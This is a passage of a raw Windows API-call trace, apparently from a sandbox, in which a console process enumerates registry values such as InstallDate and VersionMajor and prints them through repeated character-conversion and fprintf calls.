lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.054] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.054] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.054] __iob_func () returned 0x7fefd702a80 [0149.054] _fileno (_File=0x7fefd702ab0) returned 1 [0149.054] _errno () returned 0x204bb0 [0149.054] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.054] _errno () returned 0x204bb0 [0149.054] GetFileType (hFile=0x50) returned 0x1 [0149.054] lstrlenW (lpString="REG_SZ") returned 6 [0149.054] GetConsoleOutputCP () returned 0x1b5 [0149.054] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.054] GetConsoleOutputCP () returned 0x1b5 [0149.054] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.054] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.054] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.054] __iob_func () returned 0x7fefd702a80 [0149.054] _fileno (_File=0x7fefd702ab0) returned 1 [0149.054] _errno () returned 0x204bb0 [0149.054] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.054] _errno () returned 0x204bb0 [0149.054] GetFileType (hFile=0x50) returned 0x1 [0149.054] lstrlenW (lpString=" ") returned 4 [0149.055] GetConsoleOutputCP () returned 0x1b5 [0149.055] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.055] GetConsoleOutputCP () returned 0x1b5 [0149.055] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.055] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.055] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.055] __iob_func () returned 0x7fefd702a80 [0149.055] _fileno (_File=0x7fefd702ab0) returned 1 [0149.055] _errno () returned 0x204bb0 [0149.055] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.055] _errno () returned 0x204bb0 [0149.055] GetFileType (hFile=0x50) returned 0x1 [0149.055] lstrlenW (lpString="59.0.3071.115") returned 13 [0149.055] GetConsoleOutputCP () returned 0x1b5 [0149.055] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="59.0.3071.115", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.055] GetConsoleOutputCP () returned 0x1b5 [0149.055] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="59.0.3071.115", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="59.0.3071.115", lpUsedDefaultChar=0x0) returned 13 [0149.055] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.055] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.056] __iob_func () returned 0x7fefd702a80 [0149.056] _fileno (_File=0x7fefd702ab0) returned 1 [0149.056] _errno () returned 0x204bb0 [0149.056] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.056] _errno () returned 0x204bb0 [0149.056] GetFileType (hFile=0x50) returned 0x1 [0149.056] lstrlenW (lpString="\n") returned 1 [0149.056] GetConsoleOutputCP () returned 0x1b5 [0149.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.056] GetConsoleOutputCP () returned 0x1b5 [0149.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.056] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.056] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.056] GetProcessHeap () returned 0x3c0000 [0149.056] GetProcessHeap () returned 0x3c0000 [0149.056] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.056] GetProcessHeap () returned 0x3c0000 [0149.056] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x20 [0149.056] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0149.056] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.056] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x14) returned 0x0 [0149.056] GetProcessHeap () returned 0x3c0000 [0149.056] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3db830 [0149.056] GetProcessHeap () returned 0x3c0000 [0149.056] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.056] GetProcessHeap () returned 0x3c0000 [0149.056] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x16 [0149.057] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x14 | out: pdwType=0x29f700*=0x1, pvData="20170630", pcbData=0x29f780*=0x12) returned 0x0 [0149.057] __iob_func () returned 0x7fefd702a80 [0149.057] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.057] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.057] _fileno (_File=0x7fefd702ab0) returned 1 [0149.057] _errno () returned 0x204bb0 [0149.057] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.057] _errno () returned 0x204bb0 [0149.057] GetFileType (hFile=0x50) returned 0x1 [0149.057] lstrlenW (lpString=" ") returned 4 [0149.057] GetConsoleOutputCP () returned 0x1b5 [0149.057] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.057] GetConsoleOutputCP () returned 0x1b5 [0149.057] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.057] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.057] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.057] lstrlenW (lpString="InstallDate") returned 11 [0149.057] __iob_func () returned 0x7fefd702a80 [0149.057] _fileno (_File=0x7fefd702ab0) returned 1 [0149.057] _errno () returned 0x204bb0 [0149.057] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.057] _errno () returned 0x204bb0 [0149.057] GetFileType (hFile=0x50) returned 0x1 [0149.057] lstrlenW (lpString="InstallDate") returned 11 [0149.057] GetConsoleOutputCP () returned 0x1b5 [0149.058] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.058] GetConsoleOutputCP () returned 0x1b5 [0149.058] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0149.058] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.058] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.058] __iob_func () returned 0x7fefd702a80 [0149.058] _fileno (_File=0x7fefd702ab0) returned 1 [0149.058] _errno () returned 0x204bb0 [0149.058] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.058] _errno () returned 0x204bb0 [0149.058] GetFileType (hFile=0x50) returned 0x1 [0149.058] lstrlenW (lpString=" ") returned 4 [0149.058] GetConsoleOutputCP () returned 0x1b5 [0149.058] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.058] GetConsoleOutputCP () returned 0x1b5 [0149.058] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.058] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.058] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.058] __iob_func () returned 0x7fefd702a80 [0149.058] _fileno (_File=0x7fefd702ab0) returned 1 [0149.058] _errno () returned 0x204bb0 [0149.058] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.059] _errno () returned 0x204bb0 [0149.059] GetFileType (hFile=0x50) returned 0x1 [0149.059] lstrlenW (lpString="REG_SZ") returned 6 [0149.059] GetConsoleOutputCP () returned 0x1b5 [0149.059] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.059] GetConsoleOutputCP () returned 0x1b5 [0149.059] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.059] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.059] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.059] __iob_func () returned 0x7fefd702a80 [0149.059] _fileno (_File=0x7fefd702ab0) returned 1 [0149.059] _errno () returned 0x204bb0 [0149.059] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.059] _errno () returned 0x204bb0 [0149.059] GetFileType (hFile=0x50) returned 0x1 [0149.059] lstrlenW (lpString=" ") returned 4 [0149.059] GetConsoleOutputCP () returned 0x1b5 [0149.059] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.059] GetConsoleOutputCP () returned 0x1b5 [0149.059] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.059] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.059] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.060] __iob_func () returned 0x7fefd702a80 [0149.060] _fileno (_File=0x7fefd702ab0) returned 1 [0149.060] _errno () returned 0x204bb0 [0149.060] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.060] _errno () returned 0x204bb0 [0149.060] GetFileType (hFile=0x50) returned 0x1 [0149.060] lstrlenW (lpString="20170630") returned 8 [0149.060] GetConsoleOutputCP () returned 0x1b5 [0149.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.060] GetConsoleOutputCP () returned 0x1b5 [0149.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0149.060] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.060] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.060] __iob_func () returned 0x7fefd702a80 [0149.060] _fileno (_File=0x7fefd702ab0) returned 1 [0149.060] _errno () returned 0x204bb0 [0149.060] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.060] _errno () returned 0x204bb0 [0149.060] GetFileType (hFile=0x50) returned 0x1 [0149.060] lstrlenW (lpString="\n") returned 1 [0149.060] GetConsoleOutputCP () returned 0x1b5 [0149.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.060] GetConsoleOutputCP () returned 0x1b5 [0149.061] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.061] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.061] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.061] GetProcessHeap () returned 0x3c0000 [0149.061] GetProcessHeap () returned 0x3c0000 [0149.061] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.061] GetProcessHeap () returned 0x3c0000 [0149.061] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x16 [0149.061] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.061] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.061] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.061] GetProcessHeap () returned 0x3c0000 [0149.061] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.061] GetProcessHeap () returned 0x3c0000 [0149.061] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.061] GetProcessHeap () returned 0x3c0000 [0149.061] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.061] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xbff, pcbData=0x29f780*=0x4) returned 0x0 [0149.061] __iob_func () returned 0x7fefd702a80 [0149.061] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.061] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.061] _fileno (_File=0x7fefd702ab0) returned 1 [0149.061] _errno () returned 0x204bb0 [0149.061] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.061] _errno () returned 0x204bb0 [0149.061] GetFileType (hFile=0x50) returned 0x1 [0149.061] lstrlenW (lpString=" ") returned 4 [0149.061] GetConsoleOutputCP () returned 0x1b5 [0149.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.062] GetConsoleOutputCP () returned 0x1b5 [0149.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.062] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.062] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.062] lstrlenW (lpString="VersionMajor") returned 12 [0149.062] __iob_func () returned 0x7fefd702a80 [0149.062] _fileno (_File=0x7fefd702ab0) returned 1 [0149.062] _errno () returned 0x204bb0 [0149.062] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.062] _errno () returned 0x204bb0 [0149.062] GetFileType (hFile=0x50) returned 0x1 [0149.062] lstrlenW (lpString="VersionMajor") returned 12 [0149.062] GetConsoleOutputCP () returned 0x1b5 [0149.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.062] GetConsoleOutputCP () returned 0x1b5 [0149.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0149.062] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.062] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.062] __iob_func () returned 0x7fefd702a80 [0149.062] _fileno (_File=0x7fefd702ab0) returned 1 [0149.062] _errno () returned 0x204bb0 [0149.063] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.063] _errno () returned 0x204bb0 [0149.063] GetFileType (hFile=0x50) returned 0x1 [0149.063] lstrlenW (lpString=" ") returned 4 [0149.063] GetConsoleOutputCP () returned 0x1b5 [0149.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.063] GetConsoleOutputCP () returned 0x1b5 [0149.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.063] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.063] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.063] __iob_func () returned 0x7fefd702a80 [0149.063] _fileno (_File=0x7fefd702ab0) returned 1 [0149.063] _errno () returned 0x204bb0 [0149.063] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.063] _errno () returned 0x204bb0 [0149.063] GetFileType (hFile=0x50) returned 0x1 [0149.063] lstrlenW (lpString="REG_DWORD") returned 9 [0149.063] GetConsoleOutputCP () returned 0x1b5 [0149.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.063] GetConsoleOutputCP () returned 0x1b5 [0149.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.063] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.063] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.064] __iob_func () returned 0x7fefd702a80 [0149.064] _fileno (_File=0x7fefd702ab0) returned 1 [0149.064] _errno () returned 0x204bb0 [0149.064] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.064] _errno () returned 0x204bb0 [0149.064] GetFileType (hFile=0x50) returned 0x1 [0149.064] lstrlenW (lpString=" ") returned 4 [0149.064] GetConsoleOutputCP () returned 0x1b5 [0149.064] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.064] GetConsoleOutputCP () returned 0x1b5 [0149.064] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.064] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.064] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.064] __iob_func () returned 0x7fefd702a80 [0149.064] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.064] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xbff") returned 5 [0149.064] _fileno (_File=0x7fefd702ab0) returned 1 [0149.064] _errno () returned 0x204bb0 [0149.064] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.064] _errno () returned 0x204bb0 [0149.064] GetFileType (hFile=0x50) returned 0x1 [0149.064] lstrlenW (lpString="0xbff") returned 5 [0149.064] GetConsoleOutputCP () returned 0x1b5 [0149.064] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xbff", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0149.065] GetConsoleOutputCP () returned 0x1b5 [0149.065] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xbff", cchWideChar=5, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xbff", lpUsedDefaultChar=0x0) returned 5 [0149.065] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0149.065] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.065] __iob_func () returned 0x7fefd702a80 [0149.065] _fileno (_File=0x7fefd702ab0) returned 1 [0149.065] _errno () returned 0x204bb0 [0149.065] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.065] _errno () returned 0x204bb0 [0149.065] GetFileType (hFile=0x50) returned 0x1 [0149.065] lstrlenW (lpString="\n") returned 1 [0149.065] GetConsoleOutputCP () returned 0x1b5 [0149.065] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.065] GetConsoleOutputCP () returned 0x1b5 [0149.065] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.065] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.065] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.065] GetProcessHeap () returned 0x3c0000 [0149.065] GetProcessHeap () returned 0x3c0000 [0149.065] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.065] GetProcessHeap () returned 0x3c0000 [0149.065] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.066] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.066] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.066] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.066] GetProcessHeap () returned 0x3c0000 [0149.066] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.066] GetProcessHeap () returned 0x3c0000 [0149.066] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.066] GetProcessHeap () returned 0x3c0000 [0149.066] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.066] RegGetValueW (in: hkey=0x5c, 